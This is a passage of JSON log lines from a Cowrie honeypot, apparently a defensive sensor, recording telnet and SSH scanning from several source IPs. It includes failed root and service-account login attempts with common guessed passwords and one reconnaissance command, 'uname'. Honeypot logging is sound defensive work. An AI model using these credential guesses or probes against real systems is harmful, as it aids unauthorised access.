{"eventid":"cowrie.session.closed","duration":35.698952198028564,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:51.135716Z","src_ip":"62.210.97.77","session":"77c7c1a3f65d","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:51.313391Z","src_ip":"176.65.132.254","session":"15da210bfad1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:51.316846Z","src_ip":"176.65.132.254","session":"15da210bfad1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:51.393986Z","src_ip":"156.232.13.218","session":"212d794ee253","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:51.401431Z","src_ip":"176.65.132.254","session":"15da210bfad1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:51.406170Z","src_ip":"176.65.132.254","session":"15da210bfad1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.251152753829956,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:51.450550Z","src_ip":"38.54.119.93","session":"15514394157f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42634,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6bbc1146553","protocol":"telnet","message":"New connection: 62.210.97.77:42634 (10.17.0.5:23) [session: e6bbc1146553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:52.134052Z"}
{"eventid":"cowrie.session.closed","duration":33.07388257980347,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:52.234020Z","src_ip":"62.210.97.77","session":"34ac06c35b5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.8553454875946045,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:52.293089Z","src_ip":"65.60.27.33","session":"03b97c93b12d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42648,"dst_ip":"10.17.0.5","dst_port":23,"session":"94f5415e881f","protocol":"telnet","message":"New connection: 62.210.97.77:42648 (10.17.0.5:23) [session: 94f5415e881f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:52.603977Z"}
{"eventid":"cowrie.session.closed","duration":3.775796890258789,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:52.889795Z","src_ip":"65.60.27.33","session":"450ff9098ec0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.891714096069336,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:53.057891Z","src_ip":"62.210.97.77","session":"4c0c0749ff7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.68314242362976,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:53.443993Z","src_ip":"62.210.97.77","session":"a9f43ec30382","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.920389890670776,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:53.573521Z","src_ip":"62.210.97.77","session":"b26d5cb62eb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.140690326690674,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:54.660494Z","src_ip":"65.60.27.33","session":"c6d191097718","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.0611686706543,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:54.677711Z","src_ip":"62.210.97.77","session":"595eb0332fa8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42656,"dst_ip":"10.17.0.5","dst_port":23,"session":"df456d88ffa6","protocol":"telnet","message":"New connection: 62.210.97.77:42656 (10.17.0.5:23) [session: df456d88ffa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:54.708962Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":47922,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dcd1c323b99","protocol":"telnet","message":"New connection: 65.60.27.33:47922 (10.17.0.5:23) [session: 7dcd1c323b99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:54.718003Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":58176,"dst_ip":"10.17.0.5","dst_port":22,"session":"49c89a7f2a4f","protocol":"ssh","message":"New connection: 176.65.132.254:58176 (10.17.0.5:22) [session: 49c89a7f2a4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:54.863008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:54.868383Z","src_ip":"176.65.132.254","session":"49c89a7f2a4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:54.952221Z","src_ip":"176.65.132.254","session":"49c89a7f2a4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42662,"dst_ip":"10.17.0.5","dst_port":23,"session":"d08f554d27d2","protocol":"telnet","message":"New connection: 62.210.97.77:42662 (10.17.0.5:23) [session: d08f554d27d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:55.399979Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456.","message":"login attempt [root/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:55.738709Z","src_ip":"176.65.132.254","session":"49c89a7f2a4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42664,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f621eb509c6","protocol":"telnet","message":"New connection: 62.210.97.77:42664 (10.17.0.5:23) [session: 3f621eb509c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:56.175721Z"}
{"eventid":"cowrie.session.closed","duration":44.83021807670593,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:56.642050Z","src_ip":"65.60.27.33","session":"4757513de190","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.28607487678528,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:56.703532Z","src_ip":"62.210.97.77","session":"2f4354a03bcb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":34792,"dst_ip":"10.17.0.5","dst_port":23,"session":"b70895a2eb0a","protocol":"telnet","message":"New connection: 38.54.119.93:34792 (10.17.0.5:23) [session: b70895a2eb0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:56.743704Z"}
{"eventid":"cowrie.session.closed","duration":37.57224893569946,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:56.831205Z","src_ip":"62.210.97.77","session":"b117b18cd6cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:56.851836Z","src_ip":"176.65.132.254","session":"49c89a7f2a4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":50576,"dst_ip":"10.17.0.5","dst_port":23,"session":"816d42b287ff","protocol":"telnet","message":"New connection: 65.60.27.33:50576 (10.17.0.5:23) [session: 816d42b287ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:57.058057Z"}
{"eventid":"cowrie.session.closed","duration":46.584904193878174,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:57.798980Z","src_ip":"65.60.27.33","session":"d44970e04847","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42680,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc5f112de0df","protocol":"telnet","message":"New connection: 62.210.97.77:42680 (10.17.0.5:23) [session: fc5f112de0df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:58.518708Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":58178,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8194cfdbae2","protocol":"ssh","message":"New connection: 176.65.132.254:58178 (10.17.0.5:22) [session: f8194cfdbae2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:59.265979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:59.270884Z","src_ip":"176.65.132.254","session":"f8194cfdbae2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:59.352789Z","src_ip":"176.65.132.254","session":"f8194cfdbae2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elk","password":"elk@123","message":"login attempt [elk/elk@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:59.640946Z","src_ip":"176.65.132.254","session":"f8194cfdbae2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53178,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b5fe78c265d","protocol":"telnet","message":"New connection: 62.210.97.77:53178 (10.17.0.5:23) [session: 0b5fe78c265d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:59.671566Z"}
{"eventid":"cowrie.session.closed","duration":37.64886927604675,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:59.843890Z","src_ip":"62.210.97.77","session":"d44fdc558530","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53182,"dst_ip":"10.17.0.5","dst_port":23,"session":"18c24a0bea92","protocol":"telnet","message":"New connection: 62.210.97.77:53182 (10.17.0.5:23) [session: 18c24a0bea92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:59.979154Z"}
{"eventid":"cowrie.session.closed","duration":3.5782790184020996,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:00.321767Z","src_ip":"38.54.119.93","session":"b70895a2eb0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.49712109565735,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:00.388922Z","src_ip":"65.60.27.33","session":"1f4313d2e0f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53190,"dst_ip":"10.17.0.5","dst_port":23,"session":"b283db37d903","protocol":"telnet","message":"New connection: 62.210.97.77:53190 (10.17.0.5:23) [session: b283db37d903]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:00.440287Z"}
{"eventid":"cowrie.session.closed","duration":14.09960675239563,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:00.890538Z","src_ip":"38.199.117.130","session":"e10918249e21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:01.044256Z","src_ip":"176.65.132.254","session":"f8194cfdbae2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":55454,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f6951b5769f","protocol":"telnet","message":"New connection: 65.60.27.33:55454 (10.17.0.5:23) [session: 4f6951b5769f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:01.613301Z"}
{"eventid":"cowrie.session.closed","duration":48.9147846698761,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:01.658108Z","src_ip":"38.54.119.93","session":"5cd59fba5dfd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":55596,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d200f0fd80a","protocol":"telnet","message":"New connection: 65.60.27.33:55596 (10.17.0.5:23) [session: 1d200f0fd80a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:01.806522Z"}
{"eventid":"cowrie.session.closed","duration":35.2670202255249,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:01.979968Z","src_ip":"62.210.97.77","session":"c10196cbca8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53192,"dst_ip":"10.17.0.5","dst_port":23,"session":"cea0cfb20f6f","protocol":"telnet","message":"New connection: 62.210.97.77:53192 (10.17.0.5:23) [session: cea0cfb20f6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:02.162899Z"}
{"eventid":"cowrie.session.closed","duration":36.20720815658569,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:02.673054Z","src_ip":"62.210.97.77","session":"4be93e492f1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.8463339805603,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:03.667100Z","src_ip":"62.210.97.77","session":"4328cf3cb2f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.97622323036194,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:03.731131Z","src_ip":"62.210.97.77","session":"ad50216fc678","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.058218002319336,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:03.770525Z","src_ip":"62.210.97.77","session":"d1113e6ab933","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":37222,"dst_ip":"10.17.0.5","dst_port":22,"session":"842f2b355d68","protocol":"ssh","message":"New connection: 176.65.132.254:37222 (10.17.0.5:22) [session: 842f2b355d68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:03.962801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:03.971173Z","src_ip":"176.65.132.254","session":"842f2b355d68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:04.056840Z","src_ip":"176.65.132.254","session":"842f2b355d68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd123","message":"login attempt [root/P@ssw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:04.302274Z","src_ip":"176.65.132.254","session":"842f2b355d68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53202,"dst_ip":"10.17.0.5","dst_port":23,"session":"26d17200ea03","protocol":"telnet","message":"New connection: 62.210.97.77:53202 (10.17.0.5:23) [session: 26d17200ea03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:04.512455Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53204,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0c7c7a96ef9","protocol":"telnet","message":"New connection: 62.210.97.77:53204 (10.17.0.5:23) [session: e0c7c7a96ef9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:05.149146Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:05.387305Z","src_ip":"176.65.132.254","session":"842f2b355d68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53214,"dst_ip":"10.17.0.5","dst_port":23,"session":"de3499c3ffa2","protocol":"telnet","message":"New connection: 62.210.97.77:53214 (10.17.0.5:23) [session: de3499c3ffa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:05.609418Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53220,"dst_ip":"10.17.0.5","dst_port":23,"session":"311ff1ed5b9e","protocol":"telnet","message":"New connection: 62.210.97.77:53220 (10.17.0.5:23) [session: 311ff1ed5b9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:07.390675Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":33636,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d9bdfe5ac89","protocol":"telnet","message":"New connection: 65.60.27.33:33636 (10.17.0.5:23) [session: 4d9bdfe5ac89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:07.683959Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":37230,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c04b1f9f2de","protocol":"ssh","message":"New connection: 176.65.132.254:37230 (10.17.0.5:22) [session: 0c04b1f9f2de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:08.089089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:08.093686Z","src_ip":"176.65.132.254","session":"0c04b1f9f2de","protocol":"ssh"}
